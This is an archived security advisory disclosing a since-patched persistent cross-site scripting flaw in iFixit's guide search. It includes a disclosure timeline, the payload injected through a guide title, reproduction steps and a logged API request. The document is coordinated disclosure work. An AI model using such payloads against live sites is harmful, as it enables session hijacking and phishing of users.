[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability

Document Title:
===============
ifixit Bug Bounty #5 - Guide Search Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1700

Video: http://www.vulnerability-lab.com/get_content.php?id=1699



Release Date:
=============
2016-02-17


Vulnerability Laboratory ID (VL-ID):
====================================
1700


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
The free repair guide for everything, written by everyone. iFixit is a private 
company in San Luis Obispo, California. Founded in 2003 while the 
founders were attending Cal Poly, the company sells repair parts and publishes 
free wiki-like online repair guides for consumer electronics and gadgets on its 
web site.

(Copy of the Vendor Homepage: https://www.ifixit.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered an application-side 
input validation web vulnerability in the official ifixit online service 
web-application.


Vulnerability Disclosure Timeline:
==================================
2015-12-25: Researcher Notification & Coordination (Hadji Samir - Evolution 
Security GmbH)
2015-12-26: Vendor Notification (iFixIt Security Team)
2015-12-29: Vendor Response/Feedback (iFixIt Security Team)
2016-02-01: Vendor Fix/Patch  (iFixIt Developer Team)
2016-02-15: Security Acknowledgements (iFixIt Security Team)
2016-02-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the 
official ifixit online service web-application.
The vulnerability allows remote attackers to inject own malicious script codes 
to the application-side of the vulnerable modules context.

The vulnerability is located in the `title name` value of the `guides` and 
`prerequisite guides` search modules. Remote attackers with low privileged 
web-application user accounts are able to inject own malicious script codes to 
the application-side of the affected POST/GET method request. The attack 
vector of the vulnerability is located on the application-side and the request 
method to inject is POST. The execution of the inserted payload occurs 
in the search module were the `guides` and `prerequisite guides` becomes 
available with keyword.

The security risk of the filter bypass and persistent validation vulnerability 
is estimated as high with a cvss (common vulnerability scoring system) count of 
3.8. 
Exploitation of the persistent input validation web vulnerability requires a 
low privileged web-application user accountand low or medium user interaction. 
Successful exploitation of the vulnerability results in session hijacking, 
persistent phishing, persistent external redirects to malicious source and 
persistent manipulation of affected or connected application modules.

Request Method(s):
                                [+] POST

Vulnerable Module(s):
                                [+] `guides`
                                [+] `prerequisite guides`

Vulnerable Parameter(s):
                                [+] title name (Guide)

Affected Module(s):
                                [+] Search Guide


Proof of Concept (PoC):
=======================
The persistent cross site vulnerability can be exploited by remote attackers 
with low privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. I create  Guide with title name as script code payload 
Note: Payload - Samir"><img src="c" onerror=alert(document.domain)>
2. Now the attacker needs to create new Guide page
3. After the adding procedure he clicks to  the details
4. In the List any prerequisite guides in the searching i write Samir and i get 
the title about the last Guide page
5. Samir"><img src="c" onerror=alert(document.domain)>  Now the code XSS 
executes via payload metatag
6. Successful reproduce of the persistent cross site scripting vulnerability!


PoC: Exploitcode
<div class="prereqBody">
<i class="fa fa-minus-circle delete"></i>
<span class="prereqName">Samir"><img src="c" 
onerror=alert(document.domain)></span>
</div>



--- PoC Session Logs [POST] ---
Status: 201[Created]
POST https://www.ifixit.com/api/2.0/guides 
Load Flags[LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Content Size[2192] Mime 
Type[application/json]
   Request Headers:
      Host[www.ifixit.com]
      User-Agent[Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:44.0) 
Gecko/20100101 Firefox/44.0]
      Accept[text/javascript, text/html, application/xml, text/xml, */*]
      Accept-Language[en-US,en;q=0.5]
      Accept-Encoding[gzip, deflate, br]
      X-Requested-With[XMLHttpRequest]
      X-HTTP-Method-Override[POST]
      X-CSRF[5vq44aqiks]
      X-ALLOW-HTTP[true]
      Api-Client[iFixit-Web]
      Content-Type[application/x-www-form-urlencoded; charset=utf-8]
      Referer[https://www.ifixit.com/Guide/new]
      Content-Length[312]
      Cookie[_ga=
      Connection[keep-alive]
   Post Data:
      
{"type":"replacement","category":"test","subject":"test","title":"Samir\"><img 
src=\"c\" onerror=alert(document.domain)> 
Replacement","summary":"test","introduction":"","flags":[],"image":null,"langid":"en"}]
   Response Headers:
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, 
pre-check=0]
      Pragma[no-cache]
      x-content-type-options[nosniff]
      X-Max-Age[30m]
      Content-Type[application/json]
      Content-Length[2192]
      Accept-Ranges[bytes]
      Date[Mon, 01 Feb 2016 13:52:16 GMT]
      X-Varnish[166966529]
      Age[0]
      X-Debug-Deliver[True]
      X-Debug-Cache[MISS]


Reference(s):
https://www.ifixit.com/
https://www.ifixit.com/api/
https://www.ifixit.com/api/2.0/
https://www.ifixit.com/api/2.0/guides


Security Risk:
==============
The security risk of the persistent input validation web vulnerability in the 
ifixit.com online service web-application is estimated as medium. (CVSS 3.8)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir 
(samir@xxxxxxxxxxxxxxxxx)  
[http://www.vulnerability-lab.com/show.php?user=Hadji%20Samir]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen 
material.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                        - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx         - 
research@xxxxxxxxxxxxxxxxxxxxx                        - admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-db.com       - 
vulnerability-lab.com/contact.php                     - 
evolution-sec.com/contact
Social:     twitter.com/#!/vuln_lab             - facebook.com/VulnerabilityLab 
                        - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php            - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php - 
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a 
permission.

                                Copyright © 2016 | Vulnerability Laboratory - 
[Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx